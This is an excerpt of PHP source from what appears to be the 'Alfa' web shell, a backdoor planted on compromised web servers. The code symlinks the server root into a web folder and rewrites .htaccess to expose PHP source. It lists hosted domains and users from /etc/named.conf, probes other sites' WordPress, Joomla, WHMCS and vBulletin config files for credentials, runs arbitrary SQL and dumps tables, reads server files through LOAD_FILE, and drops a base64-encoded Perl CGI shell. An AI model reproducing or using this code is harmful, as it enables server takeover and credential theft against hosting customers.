  2133. <input type="text" name="symfile" placeholder="Example : alfa.txt" size="60"/><br />
  2134. <input type="submit" value=">>" name="symlink" />
  2135. </form></center>
  2136. ';
  2137. @mkdir('sym',0777);
  2138. $solevisible11 = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  2139. $solevisible10 =@fopen ('sym/.htaccess','w');
  2140. fwrite($solevisible10 ,$solevisible11);
  2141. $solevisible56 = $_POST['alfa5'];
  2142. $solevisible57 = $_POST['alfa6'];
  2143. $solevisible58 = $_POST['alfa7'];
  2144. if ($solevisible58)
  2145. {
  2146. @symlink("$solevisible56","sym/$solevisible57");
  2147. echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br>";
  2148. echo '<center><b><font color="white">Click >> </font><a target="_blank" href="sym/'.$solevisible57.'" ><b><font size="4">'.$solevisible57.'</font></b></a></b></center><br>';
  2149. }
  2150. }
  2151. if(isset($_POST['alfa1']) && $_POST['alfa1']=='website')
  2152. {if(!@file_exists("/etc/virtual/domainowners")){
  2153. echo "<center>";
  2154. $d0mains = @file("/etc/named.conf");
  2155. if(!$d0mains){ echo "<pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Cant access this file on server -> [ /etc/named.conf ]</b></font></pre></center>"; }
  2156. echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><table align='center' width='40%' class='main' border='1'><td><font color=\"#00A220\"><b><center># Count</center></font></b></td><td><font color=\"#FFFFFF\"><b><center>Domains</center></font></b></td><td><font color=\"#FF0000\"><b><center>Users</center></font></b></td>";
  2157. $count=1;
  2158. foreach($d0mains as $d0main){
  2159. if(@eregi("zone",$d0main)){
  2160. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  2161. flush();
  2162. if(strlen(trim($domains[1][0])) > 2){
  2163. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  2164. echo "<tr><td><b><font color=\"#00A220\">".$count."</b></font></td><td><a href=http://www.".$domains[1][0]."/><font color=\"#FFFFFF\"><b>".$domains[1][0]."</font></b></a></td><td><b><font color=\"#FF0000\">".$user['name']."</font></b></td></tr>";flush();
  2165. $count++;
  2166. }}}
  2167. echo "</center></table>";
  2168. }else{echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">This is Server DirectAdmin Please use </font><font color="#FF0000">Whole Symlink for DirectAdmin</font></b> ';}
  2169. }
  2170. if(isset($_POST['alfa2']) && $_POST['alfa2']=='whole')
  2171. {
  2172. if(!@file_exists("/etc/virtual/domainowners")){
  2173. @set_time_limit(0);
  2174. echo "<center>";
  2175. @mkdir('sym',0777);
  2176. $solevisible11 = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  2177. $solevisible10 =@fopen ('sym/.htaccess','w');
  2178. fwrite($solevisible10 ,$solevisible11);
  2179. @symlink('/','sym/root');
  2180. $solevisible12 = basename('_FILE_');
  2181. $solevisible9 = @file('/etc/named.conf');
  2182. if(!$solevisible9)
  2183. {
  2184. echo "<pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Cant access this file on server -> [ /etc/named.conf ]</b></font></pre></center>";
  2185. }
  2186. else
  2187. {
  2188. echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br>";
  2189. echo "<table align='center' width='40%' class='main' border='1'>
  2190. <td><font color=\"#FFFF01\"><b><center># Count</center></font></b></td>
  2191. <td><font color=\"#00A220\"><b><center>Domains</center></font></b></td>
  2192. <td><font color=\"#FFFFFF\"><b><center>Users</center></font></b></td>
  2193. <td><font color=\"#FF0000\"><b><center>symlink</center></font></b></td>";
  2194. $count=1;
  2195. foreach($solevisible9 as $solevisible13){
  2196. if(@eregi('zone',$solevisible13)){
  2197. preg_match_all('#zone "(.*)"#',$solevisible13,$solevisible14);
  2198. flush();
  2199. if(strlen(trim($solevisible14[1][0])) >2){
  2200. $solevisible18 = posix_getpwuid(@fileowner('/etc/valiases/'.$solevisible14[1][0]));
  2201. $solevisible21 = $solevisible18['name'];
  2202. @symlink('/','sym/root');
  2203. $solevisible21 = $solevisible14[1][0];
  2204. $solevisible20 = '\.ir';
  2205. $solevisible19 = '\.il';
  2206. if (@eregi("$solevisible20",$solevisible14[1][0]) or @eregi("$solevisible19",$solevisible14[1][0]) ){
  2207. $solevisible21 = "<b><font color=\"#00FFFF\">".$solevisible14[1][0].'</font></b>';}
  2208. echo "<tr><td><font color=\"#FFFF01\">{$count}</font></td><td><a target='_blank' href=http://www.".$solevisible14[1][0].'/><font color=\"#00A220\"><b>'.$solevisible21.'</b> </a></font></td><td><font color="white"><b>'.$solevisible18['name']."</font></b></td><td><a href='sym/root/home/".$solevisible18['name']."/public_html' target='_blank'><font color=\"#FF0000\">symlink </font></a></td></tr>";flush();
  2209. $count++;}}}}}else {echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">This is Server DirectAdmin Please use </font><font color="#FF0000">Whole Symlink for DirectAdmin</font></b> ';}
  2210. echo "</center></table>";
  2211. }
  2212. if(isset($_POST['alfa6']) && $_POST['alfa6']=='direct')
  2213. {
  2214. if(@file_exists("/etc/virtual/domainowners")){
  2215. @mkdir('sym',0777);
  2216. $solevisible11 = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  2217. $solevisible10 =@fopen ('sym/.htaccess','w');
  2218. fwrite($solevisible10 ,$solevisible11);
  2219. @symlink('/','sym/root');
  2220. fclose($solevisible10);
  2221. $sole = @file("/etc/virtual/domainowners");
  2222. $count=1;
  2223. echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br>";
  2224. echo "<table align='center' width='40%' class='main' border='1'>
  2225. <td><font color=\"#FFFF01\"><b><center># Count</center></font></b></td>
  2226. <td><font color=\"#00A220\"><b><center>Domains</center></font></b></td>
  2227. <td><font color=\"#FFFFFF\"><b><center>Users</center></font></b></td>
  2228. <td><font color=\"#FF0000\"><b><center>symlink</center></font></b></td>";
  2229. foreach($sole as $visible){
  2230. if(@eregi(":",$visible)){
  2231. $solevisible = explode(':', $visible);
  2232. echo "<tr><td><font color=\"#FFFF01\">{$count}</font></td><td><a target='_blank' href=http://www.".trim($solevisible[0]).'/><font color=\"#00A220\"><b>'.trim($solevisible[0]).'</b> </font></a></td><td><font color="white"><b>'.trim($solevisible[1])."</font></b></td><td><a href='sym/root/home/".trim($solevisible[1])."/public_html' target='_blank'><font color=\"#FF0000\">symlink </font></a></td></tr>";flush();
  2233. $count++;}}echo "</table>";}else{echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">This is Server Cpanel Please use</font><font color="#FF0000"> Whole Symlink for Cpanel</font></b><br>';}}
  2234. if(isset($_POST['alfa3']) && $_POST['alfa3']=='config')
  2235. {
  2236. echo "<center>";
  2237. @mkdir('sym',0777);
  2238. $solevisible11 = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  2239. $solevisible10 =@fopen ('sym/.htaccess','w');
  2240. @fwrite($solevisible10 ,$solevisible11);
  2241. @symlink('/','sym/root');
  2242. $solevisible12 = basename('_FILE_');
  2243. $solevisible9 = @file('/etc/named.conf');
  2244. if(!$solevisible9)
  2245. {
  2246. echo "<pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Cant access this file on server -> [ /etc/named.conf ]</b></font></pre></center>";
  2247. }
  2248. else
  2249. {
  2250. echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br>
  2251. <table align='center' width='40%' class='main' ><td><b><font color=\"#FFFFFF\"><center> Domains <b></font></center></td><td> <b><font color=\"#FFFFFF\">Script <b></font></center></td>";
  2252. foreach($solevisible9 as $solevisible13){
  2253. if(@eregi('zone',$solevisible13)){
  2254. preg_match_all('#zone "(.*)"#',$solevisible13,$solevisible14);
  2255. flush();
  2256. if(strlen(trim($solevisible14[1][0])) >2){
  2257. $solevisible18 = posix_getpwuid(@fileowner('/etc/valiases/'.$solevisible14[1][0]));
  2258. $solevisible15=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/wp-config.php';
  2259. $solevisible33=get_headers($solevisible15);
  2260. $solevisible17=$solevisible33[0];
  2261. $solevisible34=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/blog/wp-config.php';
  2262. $solevisible35=get_headers($solevisible34);
  2263. $solevisible36=$solevisible35[0];
  2264. $solevisible37=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/configuration.php';
  2265. $solevisible38=get_headers($solevisible37);
  2266. $solevisible28=$solevisible38[0];
  2267. $solevisible29=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/joomla/configuration.php';
  2268. $solevisible30=get_headers($solevisible29);
  2269. $solevisible27=$solevisible30[0];
  2270. $solevisible31=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/includes/config.php';
  2271. $solevisible32=get_headers($solevisible31);
  2272. $solevisible26=$solevisible32[0];
  2273. $solevisible25=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/vb/includes/config.php';
  2274. $solevisible39=get_headers($solevisible25);
  2275. $solevisible40=$solevisible39[0];
  2276. $solevisible24=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/forum/includes/config.php';
  2277. $solevisible23=get_headers($solevisible24);
  2278. $solevisible22=$solevisible23[0];
  2279. $solevisible41=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'public_html/clients/configuration.php';
  2280. $solevisible42=get_headers($solevisible41);
  2281. $solevisible43=$solevisible42[0];
  2282. $solevisible44=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/support/configuration.php';
  2283. $solevisible42=get_headers($solevisible44);
  2284. $solevisible45=$solevisible42[0];
  2285. $solevisible46=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/client/configuration.php';
  2286. $solevisible47=get_headers($solevisible46);
  2287. $solevisible48=$solevisible47[0];
  2288. $solevisible49=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/submitticket.php';
  2289. $solevisible50=get_headers($solevisible49);
  2290. $solevisible51=$solevisible50[0];
  2291. $solevisible52=$solevisible8.'/sym/root/home/'.$solevisible18['name'].'/public_html/client/configuration.php';
  2292. $solevisible53=get_headers($solevisible52);
  2293. $solevisible54=$solevisible53[0];
  2294. $solevisible54 = strpos($solevisible17,'200');
  2295. $solevisible16='&nbsp;';
  2296. if (strpos($solevisible17,'200') == true )
  2297. {
  2298. $solevisible16="<a href='".$solevisible15."' target='_blank'>Wordpress</a>";
  2299. }
  2300. elseif (strpos($solevisible36,'200') == true)
  2301. {
  2302. $solevisible16="<a href='".$solevisible34."' target='_blank'>Wordpress</a>";
  2303. }
  2304. elseif (strpos($solevisible28,'200') == true and strpos($solevisible51,'200') == true )
  2305. {
  2306. $solevisible16=" <a href='".$solevisible49."' target='_blank'>WHMCS</a>";
  2307. }
  2308. elseif (strpos($solevisible45,'200') == true)
  2309. {
  2310. $solevisible16 =" <a href='".$solevisible44."' target='_blank'>WHMCS</a>";
  2311. }
  2312. elseif (strpos($solevisible48,'200') == true)
  2313. {
  2314. $solevisible16 =" <a href='".$solevisible46."' target='_blank'>WHMCS</a>";
  2315. }
  2316. elseif (strpos($solevisible28,'200') == true)
  2317. {
  2318. $solevisible16=" <a href='".$solevisible37."' target='_blank'>Joomla</a>";
  2319. }
  2320. elseif (strpos($solevisible27,'200') == true)
  2321. {
  2322. $solevisible16=" <a href='".$solevisible29."' target='_blank'>Joomla</a>";
  2323. }
  2324. elseif (strpos($solevisible26,'200') == true)
  2325. {
  2326. $solevisible16=" <a href='".$solevisible31."' target='_blank'>vBulletin</a>";
  2327. }
  2328. elseif (strpos($solevisible40,'200') == true)
  2329. {
  2330. $solevisible16=" <a href='".$solevisible25."' target='_blank'>vBulletin</a>";
  2331. }
  2332. elseif (strpos($solevisible22,'200') == true)
  2333. {
  2334. $solevisible16=" <a href='".$solevisible24."' target='_blank'>vBulletin</a>";
  2335. }
  2336. else
  2337. {
  2338. continue;
  2339. }
  2340. $solevisible21 = $solevisible18['name'] ;
  2341. echo '<tr><td><a href=http://www.'.$solevisible14[1][0].'/>'.$solevisible14[1][0].'</a></td>
  2342. <td>'.$solevisible16.'</td></tr>';flush();
  2343. }
  2344. }
  2345. }
  2346. }
  2347. echo "</center></table>";
  2348. }
  2349. echo "</div>";
  2350. alfafooter();
  2351. }
  2352. function alfasql()
  2353. {
  2354. class DbClass {
  2355. var $type;
  2356. var $link;
  2357. var $res;
  2358. function DbClass($type) {
  2359. $this->type = $type;
  2360. }
  2361. function connect($host, $user, $pass, $dbname){
  2362. switch($this->type) {
  2363. case 'mysql':
  2364. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  2365. break;
  2366. case 'pgsql':
  2367. $host = explode(':', $host);
  2368. if(!$host[1]) $host[1]=5432;
  2369. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  2370. break;
  2371. }
  2372. return false;
  2373. }
  2374. function selectdb($db) {
  2375. switch($this->type) {
  2376. case 'mysql':
  2377. if (@mysql_select_db($db))return true;
  2378. break;
  2379. }
  2380. return false;
  2381. }
  2382. function query($str) {
  2383. switch($this->type) {
  2384. case 'mysql':
  2385. return $this->res = @mysql_query($str);
  2386. break;
  2387. case 'pgsql':
  2388. return $this->res = @pg_query($this->link,$str);
  2389. break;
  2390. }
  2391. return false;
  2392. }
  2393. function fetch() {
  2394. $res = func_num_args()?func_get_arg(0):$this->res;
  2395. switch($this->type) {
  2396. case 'mysql':
  2397. return @mysql_fetch_assoc($res);
  2398. break;
  2399. case 'pgsql':
  2400. return @pg_fetch_assoc($res);
  2401. break;
  2402. }
  2403. return false;
  2404. }
  2405. function listDbs() {
  2406. switch($this->type) {
  2407. case 'mysql':
  2408. return $this->query("SHOW databases");
  2409. break;
  2410. case 'pgsql':
  2411. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  2412. break;
  2413. }
  2414. return false;
  2415. }
  2416. function listTables() {
  2417. switch($this->type) {
  2418. case 'mysql':
  2419. return $this->res = $this->query('SHOW TABLES');
  2420. break;
  2421. case 'pgsql':
  2422. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  2423. break;
  2424. }
  2425. return false;
  2426. }
  2427. function error() {
  2428. switch($this->type) {
  2429. case 'mysql':
  2430. return @mysql_error();
  2431. break;
  2432. case 'pgsql':
  2433. return @pg_last_error();
  2434. break;
  2435. }
  2436. return false;
  2437. }
  2438. function setCharset($str) {
  2439. switch($this->type) {
  2440. case 'mysql':
  2441. if(function_exists('mysql_set_charset'))
  2442. return @mysql_set_charset($str, $this->link);
  2443. else
  2444. $this->query('SET CHARSET '.$str);
  2445. break;
  2446. case 'pgsql':
  2447. return @pg_set_client_encoding($this->link, $str);
  2448. break;
  2449. }
  2450. return false;
  2451. }
  2452. function loadFile($str) {
  2453. switch($this->type) {
  2454. case 'mysql':
  2455. return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  2456. break;
  2457. case 'pgsql':
  2458. $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  2459. $r=array();
  2460. while($i=$this->fetch())
  2461. $r[] = $i['file'];
  2462. $this->query('drop table wso2');
  2463. return array('file'=>implode("\n",$r));
  2464. break;
  2465. }
  2466. return false;
  2467. }
  2468. function dump($table, $fp = false) {
  2469. switch($this->type) {
  2470. case 'mysql':
  2471. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  2472. $create = mysql_fetch_array($res);
  2473. $sql = $create[1].";\n";
  2474. if($fp) fwrite($fp, $sql); else echo($sql);
  2475. $this->query('SELECT * FROM `'.$table.'`');
  2476. $head = true;
  2477. while($item = $this->fetch()) {
  2478. $columns = array();
  2479. foreach($item as $k=>$v) {
  2480. if($v == null)
  2481. $item[$k] = "NULL";
  2482. elseif(is_numeric($v))
  2483. $item[$k] = $v;
  2484. else
  2485. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  2486. $columns[] = "`".$k."`";
  2487. }
  2488. if($head) {
  2489. $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  2490. $head = false;
  2491. } else
  2492. $sql = "\n\t,(".implode(", ", $item).')';
  2493. if($fp) fwrite($fp, $sql); else echo($sql);
  2494. }
  2495. if(!$head)
  2496. if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  2497. break;
  2498. case 'pgsql':
  2499. $this->query('SELECT * FROM '.$table);
  2500. while($item = $this->fetch()) {
  2501. $columns = array();
  2502. foreach($item as $k=>$v) {
  2503. $item[$k] = "'".addslashes($v)."'";
  2504. $columns[] = $k;
  2505. }
  2506. $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  2507. if($fp) fwrite($fp, $sql); else echo($sql);
  2508. }
  2509. break;
  2510. }
  2511. return false;
  2512. }
  2513. };
  2514. $db = new DbClass($_POST['type']);
  2515. if(@$_POST['alfa2']=='download') {
  2516. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  2517. $db->selectdb($_POST['sql_base']);
  2518. switch($_POST['charset']) {
  2519. case "Windows-1251": $db->setCharset('calfa1251'); break;
  2520. case "UTF-8": $db->setCharset('utf8'); break;
  2521. case "KOI8-R": $db->setCharset('koi8r'); break;
  2522. case "KOI8-U": $db->setCharset('koi8u'); break;
  2523. case "calfa866": $db->setCharset('calfa866'); break;
  2524. }
  2525. if(empty($_POST['file'])) {
  2526. ob_start("ob_gzhandler", 4096);
  2527. header("Content-Disposition: attachment; filename=dump.sql");
  2528. header("Content-Type: text/plain");
  2529. foreach($_POST['tbl'] as $v)
  2530. $db->dump($v);
  2531. exit;
  2532. } elseif($fp = @fopen($_POST['file'], 'w')) {
  2533. foreach($_POST['tbl'] as $v)
  2534. $db->dump($v, $fp);
  2535. fclose($fp);
  2536. unset($_POST['alfa2']);
  2537. } else
  2538. die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  2539. }
  2540. alfahead();
  2541. echo "
  2542. <div class=header>
  2543. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  2544. <td><font color=\"#ffffff\"><b>TYPE</b></font></td><td><font color=\"#ffffff\"><b>HOST</b></font></td><td><font color=\"#ffffff\"><b>DB USER</b></font></td><td><font color=\"#ffffff\"><b>DB PASS</b></font></td><td><font color=\"#ffffff\"><b>DB NAME</b></font></td><td></td></tr><tr>
  2545. <input type=hidden name=a value=Sql><input type=hidden name=alfa1 value='query'><input type=hidden name=alfa2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  2546. <td><select name='type'><option value='mysql' ";
  2547. if(@$_POST['type']=='mysql')echo 'selected';
  2548. echo ">MySql</option><option value='pgsql' ";
  2549. if(@$_POST['type']=='pgsql')echo 'selected';
  2550. echo ">PostgreSql</option></select></td>
  2551. <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  2552. <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'':htmlspecialchars($_POST['sql_login'])) ."'></td>
  2553. <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  2554. $tmp = "<input type=text name=sql_base value=''>";
  2555. if(isset($_POST['sql_host'])){
  2556. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  2557. switch($_POST['charset']) {
  2558. case "Windows-1251": $db->setCharset('calfa1251'); break;
  2559. case "UTF-8": $db->setCharset('utf8'); break;
  2560. case "KOI8-R": $db->setCharset('koi8r'); break;
  2561. case "KOI8-U": $db->setCharset('koi8u'); break;
  2562. case "calfa866": $db->setCharset('calfa866'); break;
  2563. }
  2564. $db->listDbs();
  2565. echo "<select name=sql_base><option value=''></option>";
  2566. while($item = $db->fetch()) {
  2567. list($key, $value) = each($item);
  2568. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  2569. }
  2570. echo '</select>';
  2571. }
  2572. else echo $tmp;
  2573. }else
  2574. echo $tmp;
  2575. echo "</td>
  2576. <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  2577. <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> <font color=\"#ffffff\"><b>count the number of rows</b></font></td>
  2578. </tr>
  2579. </table>
  2580. <script>
  2581. s_db='".@addslashes($_POST['sql_base'])."';
  2582. function fs(f) {
  2583. if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  2584. if(f.alfa1) f.alfa1.value='';
  2585. if(f.alfa2) f.alfa2.value='';
  2586. if(f.alfa3) f.alfa3.value='';
  2587. }
  2588. }
  2589. function st(t,l) {
  2590. d.sf.alfa1.value = 'select';
  2591. d.sf.alfa2.value = t;
  2592. if(l && d.sf.alfa3) d.sf.alfa3.value = l;
  2593. d.sf.submit();
  2594. }
  2595. function is() {
  2596. for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  2597. d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  2598. }
  2599. </script>";
  2600. if(isset($db) && $db->link){
  2601. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  2602. if(!empty($_POST['sql_base'])){
  2603. $db->selectdb($_POST['sql_base']);
  2604. echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  2605. $tbls_res = $db->listTables();
  2606. while($item = $db->fetch($tbls_res)) {
  2607. list($key, $value) = each($item);
  2608. if(!empty($_POST['sql_count']))
  2609. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  2610. $value = htmlspecialchars($value);
  2611. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  2612. }
  2613. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.alfa2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  2614. if(@$_POST['alfa1'] == 'select') {
  2615. $_POST['alfa1'] = 'query';
  2616. $_POST['alfa3'] = $_POST['alfa3']?$_POST['alfa3']:1;
  2617. $db->query('SELECT COUNT(*) as n FROM ' . $_POST['alfa2']);
  2618. $num = $db->fetch();
  2619. $pages = ceil($num['n'] / 30);
  2620. echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['alfa2'] . "\", d.sf.alfa3.value)}</script><span>".$_POST['alfa2']."</span> ({$num['n']} records) Page # <input type=text name='alfa3' value=" . ((int)$_POST['alfa3']) . ">";
  2621. echo " of $pages";
  2622. if($_POST['alfa3'] > 1)
  2623. echo " <a href=# onclick='st(\"" . $_POST['alfa2'] . '", ' . ($_POST['alfa3']-1) . ")'>< Prev</a>";
  2624. if($_POST['alfa3'] < $pages)
  2625. echo " <a href=# onclick='st(\"" . $_POST['alfa2'] . '", ' . ($_POST['alfa3']+1) . ")'>Next ></a>";
  2626. $_POST['alfa3']--;
  2627. if($_POST['type']=='pgsql')
  2628. $_POST['alfa2'] = 'SELECT * FROM '.$_POST['alfa2'].' LIMIT 30 OFFSET '.($_POST['alfa3']*30);
  2629. else
  2630. $_POST['alfa2'] = 'SELECT * FROM `'.$_POST['alfa2'].'` LIMIT '.($_POST['alfa3']*30).',30';
  2631. echo "<br><br>";
  2632. }
  2633. if((@$_POST['alfa1'] == 'query') && !empty($_POST['alfa2'])) {
  2634. $db->query(@$_POST['alfa2']);
  2635. if($db->res !== false) {
  2636. $title = false;
  2637. echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  2638. $line = 1;
  2639. while($item = $db->fetch()) {
  2640. if(!$title) {
  2641. echo '<tr>';
  2642. foreach($item as $key => $value)
  2643. echo '<th>'.$key.'</th>';
  2644. reset($item);
  2645. $title=true;
  2646. echo '</tr><tr>';
  2647. $line = 2;
  2648. }
  2649. echo '<tr class="l'.$line.'">';
  2650. $line = $line==1?2:1;
  2651. foreach($item as $key => $value) {
  2652. if($value == null)
  2653. echo '<td><i>null</i></td>';
  2654. else
  2655. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  2656. }
  2657. echo '</tr>';
  2658. }
  2659. echo '</table>';
  2660. } else {
  2661. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  2662. }
  2663. }
  2664. echo "<br></form><form onsubmit='d.sf.alfa1.value=\"query\";d.sf.alfa2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  2665. if(!empty($_POST['alfa2']) && ($_POST['alfa1'] != 'loadfile'))
  2666. echo htmlspecialchars($_POST['alfa2']);
  2667. echo "</textarea><br/><input type=submit value='Execute'>";
  2668. echo "</td></tr>";
  2669. }
  2670. echo "</table></form><br/>";
  2671. if($_POST['type']=='mysql') {
  2672. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  2673. if($db->fetch())
  2674. echo "<form onsubmit='d.sf.alfa1.value=\"loadfile\";document.sf.alfa2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  2675. }
  2676. if(@$_POST['alfa1'] == 'loadfile') {
  2677. $file = $db->loadFile($_POST['alfa2']);
  2678. echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  2679. }
  2680. } else {
  2681. echo htmlspecialchars($db->error());
  2682. }
  2683. echo '</div>';
  2684. alfafooter();
  2685. }
  2686. function alfaselfrm()
  2687. {
  2688. if($_POST['alfa1'] == 'yes')
  2689. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  2690. die('<b>Shell has been removed</i> :)</b>');
  2691. else
  2692. echo 'unlink error!';
  2693. if($_POST['alfa1'] != 'yes')
  2694. alfahead();
  2695. echo "<div class=header><pre class=ml1 style='margin-top:5px'>";
  2696. echo "
  2697. <center><img height=\"300\" width=\"450\" src=\"http://iran.grn.cc/alfa-iran.jpg\">
  2698. </font>";
  2699. echo '<br><font color=white><b>Are you kidding me ?? Do you really want to delete this shell??</b></font><br><a href=# onclick="g(null,null,\'yes\')">Yes</a>';
  2700. echo '</div>';
  2701. alfaFooter();
  2702. }
  2703. function alfacgishell(){
  2704. alfahead();
  2705. echo '<div class=header>';
  2706. mkdir('cgialfa',0755);
  2707. chdir('cgialfa');
  2708. $solevisible7 = '.htaccess';
  2709. $solevisible6 = "$solevisible7";
  2710. $solevisible4 = fopen ($solevisible6 ,'w') or die ('ERROR!!!');
  2711. $solevisible5 = 'Options FollowSymLinks MultiViews Indexes ExecCGI
  2712. AddType application/x-httpd-cgi .alfa
  2713. AddHandler cgi-script .alfa
  2714. AddHandler cgi-script .alfa';
  2715. fwrite ( $solevisible4 ,$solevisible5 ) ;
  2716. fclose ($solevisible4);
  2717. $solevisible3 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyAgICogICAgKiAgICAgICAqKioqKioqICAgICogICAgICAgKioqKioqKiAqKioqKioqICAgICAgICAqICAgICAqIA0KIyAgKiAqICAgKiAgICAgICAqICAgICAgICAgKiAqICAgICAgICAgKiAgICAqICAgICAgICAgKiogICAqKiAgICoqIA0KIyAqICAgKiAgKiAgICAgICAqICAgICAgICAqICAgKiAgICAgICAgKiAgICAqICAgICAgICAqICAqICAqICogKiAqIA0KIyogICAgICogKiAgICAgICAqKioqKiAgICogICAgICogICAgICAgKiAgICAqKioqKiAgICogICAgKiAqICAqICAqIA0KIyoqKioqKiogKiAgICAgICAqICAgICAgICoqKioqKiogICAgICAgKiAgICAqICAgICAgICoqKioqKiAqICAgICAqIA0KIyogICAgICogKiAgICAgICAqICAgICAgICogICAgICogICAgICAgKiAgICAqICAgICAgICogICAgKiAqICAgICAqIA0KIyogICAgICogKioqKioqKiAqICAgICAgICogICAgICogICAgICAgKiAgICAqKioqKioqICogICAgKiAqICAgICAqIA0KIw0KIyBzb2xldmlzaWJsZUBnbWFpbC5jb20JDQojIHNvbGUgc2FkICYgaW52aXNpYmxlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQokUGFzc3dvcmQgPSAiIjsJCQ0KDQokV2luTlQgPSAwOwkJCQ0KDQokTlRDbWRTZXAgPSAiJiI7CQkNCiR